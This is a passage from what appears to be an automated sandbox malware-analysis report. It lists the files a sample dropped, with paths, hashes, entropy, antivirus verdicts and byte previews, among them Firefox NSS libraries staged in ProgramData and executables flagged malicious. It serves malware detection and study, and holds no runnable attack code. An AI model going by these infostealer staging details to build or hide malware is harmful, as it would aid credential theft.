SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5468191780.exe_fdbf3a821231ffa4d324d648798d88552b4a6d67_9324473a_0120ca5b-7a34-45bc-b7aa-321ee653eb83\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963291189972061
Encrypted:	false
SSDEEP:	192:UHhassvtFkd0BU/9ITaGpezuiFlZ24IO8zr:kTsvtKeBU/yahzuiFlY4IO8X
MD5:	52DFE4E581C2E221B0AF9563ACE018C8
SHA1:	E7C110F64D0D31599C415526F7AA4559372A2DA0
SHA-256:	CD2FA7F76A0262F096DEF239A412B4A87BAB6EC2A32B276E7691C246CF676663
SHA-512:	9D7D2705EF474D2B4BEDA8976F84872BCE61FAB2DA0B2AF498B7361DCFD725A3EBE2F6F9DCD8729E56BA672A068154DD6412E7E36662763B88E108ED63780E32
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.6.8.4.5.3.3.2.5.4.6.0.6.8.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.6.8.4.5.3.3.3.1.2.4.1.9.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.2.0.c.a.5.b.-.7.a.3.4.-.4.5.b.c.-.b.7.a.a.-.3.2.1.e.e.6.5.3.e.b.8.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.0.3.a.9.9.b.-.a.b.c.9.-.4.f.3.9.-.8.e.1.7.-.d.6.e.3.4.3.3.9.6.2.b.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.5.4.6.8.1.9.1.7.8.0...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.U.l.y.s.s.e.s.T.e.s.s.a.S.a.m.u.e.l...r.Y.P.I.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.c.c.-.0.0.0.1.-.0.0.1.4.-.6.9.f.7.-.f.9.1.5.b.3.3.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.e.f.4.d.e.a.f.3.9.4.d.f.0.5.a.5.3.d.8.7.a.1.8.8.a.e.2.5.3.3.6.0.0.0.0.0.0.0.0.!.0.0.0.0.3.3.3.e.e.9.d.7.f.4.c.6.8.3.d.8.e.0.e.d.0.5.b.d.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC0D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Nov 23 14:22:12 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	199324
Entropy (8bit):	3.3508924070942747
Encrypted:	false
SSDEEP:	1536:J89gWqpN4uE2aO4uULTg99WKTSiJM5+CDEBSf5Yf+tlQK:Jn74uEq4LLTg9/JMdCSf5TvQ
MD5:	9C02E311D284012A43E061D82F2FCB12
SHA1:	27976B5DCF23A7FF17C38A28389074EB6D929C90
SHA-256:	A1B06FC1912F487DB1989E7153E7C43DADF0BA631606D516287589E412649989
SHA-512:	AAB90A4F1C13DB0B352630333233E843A498D92D41C3ECAD98C0E02408F6EA191248DADE9E01DFF1269A2922E733F0FF948E4372FF0672C62AB93416CE723561
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .........Ag............D...............X.......<................K..........`.......8...........T...........00..l...........D...........0 ..............................................................................eJ....... ......GenuineIntel............T.............Ag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD08.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8404
Entropy (8bit):	3.703225680793288
Encrypted:	false
SSDEEP:	192:R6l7wVeJxH6I3fO6YoH6a5iugmfZLYwpr189b5SsftTm:R6lXJR6L6Yw6a5iugmfVY35RfE
MD5:	8A8B94E8CEAE3C0C27B42C84919F76B6
SHA1:	989CE61ED9BBC41C5EC2233F35646FA119F1E605
SHA-256:	6BB54F0BD4A7F1F6B06C556D579DD1917CDBC027B0DD1AC650DC087EF45BD03D
SHA-512:	7FD4553784972490CC13F64EB06A1F8F7A9BDA67A3E9C38B20986ED8E275B73E9C8D3F235E56FDED3E7BA8B58AFF28DB66ABD6E28E3AF2A41304FA6F418AAE9F
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.2.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD38.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	4.5224954449026615
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg77aI9tiWpW8VYbYm8M4Jn2FwMi+q8vAKXyNGrlTd:uIjfKI7Hj7VvJWiKdDrlTd
MD5:	2388EBC38F4B3D6C4D0243A044415EBE
SHA1:	F9A70B94BE2484130538251ACA354E05EDF483C9
SHA-256:	96977C17940704E9F40E321A420DFC7DCBBB19F7FE4A1A9D3020E174CC0731D0
SHA-512:	F19271190CBCEF240A1698A41B5EB9C685AE599A51B226AC5762C08702CA9958599EE32FD17126634FE3622565A3988530C1339D8EBAEC082EA6D6B73EDFC1C0
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="600804" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_8cc0c020-0b41-459b-b6b9-1e43dc33a9f2.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7813
Entropy (8bit):	5.1797677269190725
Encrypted:	false
SSDEEP:	192:sjMX8eRcbhbVbTbfbRbObtbyEl7n8r3JA6WnSrDtTUd/SkDrH:sY1cNhnzFSJcreBnSrDhUd/l
MD5:	D8BE019BDAEA103895E763CBF1E4E2B8
SHA1:	23D812B012C3B1EE00F28E81635A201ED2A46DF8
SHA-256:	99CF8BFFF8F0FB7D15E66ACB85BCC10121DF506DB2A17E90AB92CA8E0F5B323A
SHA-512:	A96333FB6A0FBD0801AB9F0D0DEA1A9B29E3D51279DC286EC3E5B21F25C517207BC6B7F1B3A387004F09D85A655820218A890E85BCD9B24521F8AE0C3E6C0F25
Malicious:	false
Reputation:	unknown
Preview:	{"type":"uninstall","id":"8cc0c020-0b41-459b-b6b9-1e43dc33a9f2","creationDate":"2024-11-23T16:15:29.849Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"65e71c9e-6ac3-4903-9066-b134350de32c","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_8cc0c020-0b41-459b-b6b9-1e43dc33a9f2.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7813
Entropy (8bit):	5.1797677269190725
Encrypted:	false
SSDEEP:	192:sjMX8eRcbhbVbTbfbRbObtbyEl7n8r3JA6WnSrDtTUd/SkDrH:sY1cNhnzFSJcreBnSrDhUd/l
MD5:	D8BE019BDAEA103895E763CBF1E4E2B8
SHA1:	23D812B012C3B1EE00F28E81635A201ED2A46DF8
SHA-256:	99CF8BFFF8F0FB7D15E66ACB85BCC10121DF506DB2A17E90AB92CA8E0F5B323A
SHA-512:	A96333FB6A0FBD0801AB9F0D0DEA1A9B29E3D51279DC286EC3E5B21F25C517207BC6B7F1B3A387004F09D85A655820218A890E85BCD9B24521F8AE0C3E6C0F25
Malicious:	false
Reputation:	unknown
Preview:	{"type":"uninstall","id":"8cc0c020-0b41-459b-b6b9-1e43dc33a9f2","creationDate":"2024-11-23T16:15:29.849Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"65e71c9e-6ac3-4903-9066-b134350de32c","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\796ccdd7ba.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	665088
Entropy (8bit):	7.735385458975907
Encrypted:	false
SSDEEP:	12288:bPl8meB2qKGMi2z93d3xmOSv5PGsTgrc8JZJXC+2JW4Q+o95vlcJL1yC5qj1n93Z:7l87B2N+2z93WXuR4WJX
MD5:	E7AA83909ACE3906EC75144CC33E024C
SHA1:	333EE9D7F4C683D8E0ED05BDADFBD2BAADE379E3
SHA-256:	24443CD457177EEED9C584E5D5AD194303FD94269FDB0D72E0DB598215A5C826
SHA-512:	508FD7984EA8B9D8C8B2CD3C7C3587941A6EE4627C7CF54FE56DB7DB75DBFF0ABDAF0DB1B0C46876DC6AD0CC21735BD7A2F0351D5EDEB735B2DE796BEEF2EA72
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ag..............0..................`... ....@.. ....................................@..................................g..W....`..P............................................................................................`..H.............W{2./cx#... ...$..................@....text........`.......(.............. ..`.rsrc...P....`......................@..@.reloc..............."..............@..B.....................$.............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.59248270219208
Encrypted:	false
SSDEEP:	12288:8qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarT8lx:8qDEvCTbMWu7rQYlBQcBiT6rprG8av4
MD5:	143C4039D125E72CE6D0CE771F89C518
SHA1:	AD5F6BDAD7301B371A623B024C2444B9D4EF7495
SHA-256:	DC7B10F48766A87A2B7E0A4CFE2F61E8C0C1EB456CBEF0E9012C4010AECD15AD
SHA-512:	6CB458281B3DA62F00AF0489DB4F80399AF4621D690D62D6C115D0B46943FF74BF0FAC405B2022D27DBF2AEEDA5A1BC0E8DBF0479EB0CAD0EDCA9A1FE981D2E5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...p.Ag.........."..........d......w.............@..........................p......<.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
